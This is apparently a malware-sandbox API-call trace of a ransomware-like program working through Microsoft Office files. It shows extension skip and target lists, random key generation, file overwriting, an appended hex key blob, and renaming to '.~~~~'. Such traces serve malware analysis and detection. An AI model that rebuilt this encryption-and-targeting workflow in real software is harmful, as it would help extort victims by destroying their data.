	[0135.779] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0135.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0135.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0135.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0135.780] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394ca0) returned 1
	[0135.781] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0135.781] CryptReleaseContext (hProv=0x394ca0, dwFlags=0x0) returned 1
	[0135.781] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0135.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0135.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0135.781] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25577145661) returned 1
	[0135.781] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xba602070, dwHighDateTime=0x1d60e1e)) 
	[0135.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0135.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0135.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0135.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4820
	[0135.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0135.782] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4820 | out: hHeap=0x300000) returned 1
	[0135.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0135.782] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0135.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0135.782] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0135.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a85f8
	[0135.782] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0135.782] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0135.782] GetLastError () returned 0x0
	[0135.783] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0135.783] GetLastError () returned 0x0
	[0135.785] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffffbb6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.785] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x44a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x44a, lpOverlapped=0x0) returned 1
	[0135.785] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0135.786] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.786] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0135.786] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0135.786] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0135.786] CloseHandle (hObject=0x114) returned 1
	[0135.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a85f8
	[0135.786] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd.~~~~")) returned 1
	[0135.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a85f8 | out: hHeap=0x300000) returned 1
	[0135.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0135.789] GetLastError () returned 0x0
	[0135.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".scr") returned 0x0
	[0135.789] lstrlenW (lpString=".cmd") returned 4
	[0135.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".cmd") returned 0x0
	[0135.789] lstrlenW (lpString=".dll") returned 4
	[0135.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".dll") returned 0x0
	[0135.790] lstrlenW (lpString=".bat") returned 4
	[0135.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".bat") returned 0x0
	[0135.790] lstrlenW (lpString=".cpl") returned 4
	[0135.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".cpl") returned 0x0
	[0135.790] lstrlenW (lpString=".sys") returned 4
	[0135.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".sys") returned 0x0
	[0135.790] lstrlenW (lpString=".msc") returned 4
	[0135.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".msc") returned 0x0
	[0135.790] lstrlenW (lpString=".com") returned 4
	[0135.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".com") returned 0x0
	[0135.790] lstrlenW (lpString=".lnk") returned 4
	[0135.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".lnk") returned 0x0
	[0135.790] lstrlenW (lpString=".msp") returned 4
	[0135.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".msp") returned 0x0
	[0135.790] lstrlenW (lpString=".pif") returned 4
	[0135.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".pif") returned 0x0
	[0135.790] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0135.790] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch="msp\r\n.pif") returned 0x0
	[0135.790] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0135.793] lstrlenW (lpString=".sqb") returned 4
	[0135.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".sqb") returned 0x0
	[0135.793] lstrlenW (lpString=".ost") returned 4
	[0135.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".ost") returned 0x0
	[0135.793] lstrlenW (lpString=".txt") returned 4
	[0135.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".txt") returned 0x0
	[0135.793] lstrlenW (lpString=".mdt") returned 4
	[0135.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".mdt") returned 0x0
	[0135.793] lstrlenW (lpString=".BDB") returned 4
	[0135.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".BDB") returned 0x0
	[0135.794] lstrlenW (lpString=".eql") returned 4
	[0135.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".eql") returned 0x0
	[0135.794] lstrlenW (lpString=".DBF") returned 4
	[0135.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".DBF") returned 0x0
	[0135.794] lstrlenW (lpString=".EQL") returned 4
	[0135.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".EQL") returned 0x0
	[0135.794] lstrlenW (lpString=".FDB") returned 4
	[0135.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".FDB") returned 0x0
	[0135.794] lstrlenW (lpString=".EDB") returned 4
	[0135.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".EDB") returned 0x0
	[0135.794] lstrlenW (lpString=".DACPAC") returned 7
	[0135.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".DACPAC") returned 0x0
	[0135.794] lstrlenW (lpString=".VHD") returned 4
	[0135.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".VHD") returned 0x0
	[0135.794] lstrlenW (lpString=".DBV") returned 4
	[0135.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".DBV") returned 0x0
	[0135.794] lstrlenW (lpString=".dacpac") returned 7
	[0135.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".dacpac") returned 0x0
	[0135.794] lstrlenW (lpString=".sdf") returned 4
	[0135.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".sdf") returned 0x0
	[0135.794] lstrlenW (lpString=".accdb") returned 6
	[0135.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".accdb") returned 0x0
	[0135.794] lstrlenW (lpString=".DBX") returned 4
	[0135.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".DBX") returned 0x0
	[0135.794] lstrlenW (lpString=".MDT") returned 4
	[0135.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".MDT") returned 0x0
	[0135.795] lstrlenW (lpString=".SQB") returned 4
	[0135.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".SQB") returned 0x0
	[0135.795] lstrlenW (lpString=".vhd") returned 4
	[0135.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".vhd") returned 0x0
	[0135.795] lstrlenW (lpString=".bac") returned 4
	[0135.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".bac") returned 0x0
	[0135.795] lstrlenW (lpString=".mdf") returned 4
	[0135.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".mdf") returned 0x0
	[0135.795] lstrlenW (lpString=".BAK") returned 4
	[0135.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".BAK") returned 0x0
	[0135.795] lstrlenW (lpString=".BAC") returned 4
	[0135.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".BAC") returned 0x0
	[0135.795] lstrlenW (lpString=".dbs") returned 4
	[0135.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".dbs") returned 0x0
	[0135.795] lstrlenW (lpString=".vhdx") returned 5
	[0135.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".vhdx") returned 0x0
	[0135.795] lstrlenW (lpString=".NDF") returned 4
	[0135.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".NDF") returned 0x0
	[0135.795] lstrlenW (lpString=".dat") returned 4
	[0135.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".dat") returned 0x0
	[0135.795] lstrlenW (lpString=".DBS") returned 4
	[0135.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".DBS") returned 0x0
	[0135.795] lstrlenW (lpString=".CKP") returned 4
	[0135.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".CKP") returned 0x0
	[0135.795] lstrlenW (lpString=".edb") returned 4
	[0135.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".edb") returned 0x0
	[0135.796] lstrlenW (lpString=".PST") returned 4
	[0135.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".PST") returned 0x0
	[0135.796] lstrlenW (lpString=".dbf") returned 4
	[0135.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".dbf") returned 0x0
	[0135.796] lstrlenW (lpString=".SQL") returned 4
	[0135.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".SQL") returned 0x0
	[0135.796] lstrlenW (lpString=".pst") returned 4
	[0135.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".pst") returned 0x0
	[0135.796] lstrlenW (lpString=".dbv") returned 4
	[0135.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".dbv") returned 0x0
	[0135.796] lstrlenW (lpString=".SDF") returned 4
	[0135.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".SDF") returned 0x0
	[0135.796] lstrlenW (lpString=".dtxs") returned 5
	[0135.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".dtxs") returned 0x0
	[0135.796] lstrlenW (lpString=".db3") returned 4
	[0135.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".db3") returned 0x0
	[0135.796] lstrlenW (lpString=".OST") returned 4
	[0135.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".OST") returned 0x0
	[0135.796] lstrlenW (lpString=".dbx") returned 4
	[0135.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".dbx") returned 0x0
	[0135.796] lstrlenW (lpString=".DB3") returned 4
	[0135.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".DB3") returned 0x0
	[0135.796] lstrlenW (lpString=".DAT") returned 4
	[0135.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".DAT") returned 0x0
	[0135.797] lstrlenW (lpString=".VHDX") returned 5
	[0135.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".VHDX") returned 0x0
	[0135.797] lstrlenW (lpString=".ndf") returned 4
	[0135.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".ndf") returned 0x0
	[0135.797] lstrlenW (lpString=".DB") returned 3
	[0135.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".DB") returned 0x0
	[0135.797] lstrlenW (lpString=".sql") returned 4
	[0135.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".sql") returned 0x0
	[0135.797] lstrlenW (lpString=".MYD") returned 4
	[0135.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".MYD") returned 0x0
	[0135.797] lstrlenW (lpString=".DBT") returned 4
	[0135.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".DBT") returned 0x0
	[0135.797] lstrlenW (lpString=".ACCDB") returned 6
	[0135.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".ACCDB") returned 0x0
	[0135.797] lstrlenW (lpString=".fdb") returned 4
	[0135.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".fdb") returned 0x0
	[0135.797] lstrlenW (lpString=".bak") returned 4
	[0135.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".bak") returned 0x0
	[0135.797] lstrlenW (lpString=".myd") returned 4
	[0135.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".myd") returned 0x0
	[0135.797] lstrlenW (lpString=".DTXS") returned 5
	[0135.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".DTXS") returned 0x0
	[0135.797] lstrlenW (lpString=".ckp") returned 4
	[0135.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".ckp") returned 0x0
	[0135.797] lstrlenW (lpString=".dbt") returned 4
	[0135.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".dbt") returned 0x0
	[0135.798] lstrlenW (lpString=".db") returned 3
	[0135.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".db") returned 0x0
	[0135.798] lstrlenW (lpString=".TXT") returned 4
	[0135.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".TXT") returned 0x0
	[0135.798] lstrlenW (lpString=".MDF") returned 4
	[0135.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".MDF") returned 0x0
	[0135.798] lstrlenW (lpString=".bdb") returned 4
	[0135.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".bdb") returned 0x0
	[0135.798] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0135.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0135.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0135.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0135.798] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394d28) returned 1
	[0135.799] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0135.799] CryptReleaseContext (hProv=0x394d28, dwFlags=0x0) returned 1
	[0135.799] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0135.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0135.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0135.800] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25578976217) returned 1
	[0135.800] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xba6281d0, dwHighDateTime=0x1d60e1e)) 
	[0135.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0135.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0135.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0135.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e47e8
	[0135.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0135.800] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e47e8 | out: hHeap=0x300000) returned 1
	[0135.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0135.800] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0135.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0135.800] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0135.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a85f8
	[0135.800] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0135.801] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0135.801] GetLastError () returned 0x0
	[0135.801] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0135.801] GetLastError () returned 0x0
	[0136.187] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffefa50, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.187] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x105b0, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x105b0, lpOverlapped=0x0) returned 1
	[0136.192] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0136.192] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.228] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0136.228] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0136.228] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0136.228] CloseHandle (hObject=0x114) returned 1
	[0136.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c58d0
	[0136.228] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl.~~~~")) returned 1
	[0136.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c58d0 | out: hHeap=0x300000) returned 1
	[0136.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0136.231] GetLastError () returned 0x0
	[0136.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK", lpSrch=".scr") returned 0x0
	[0136.231] lstrlenW (lpString=".cmd") returned 4
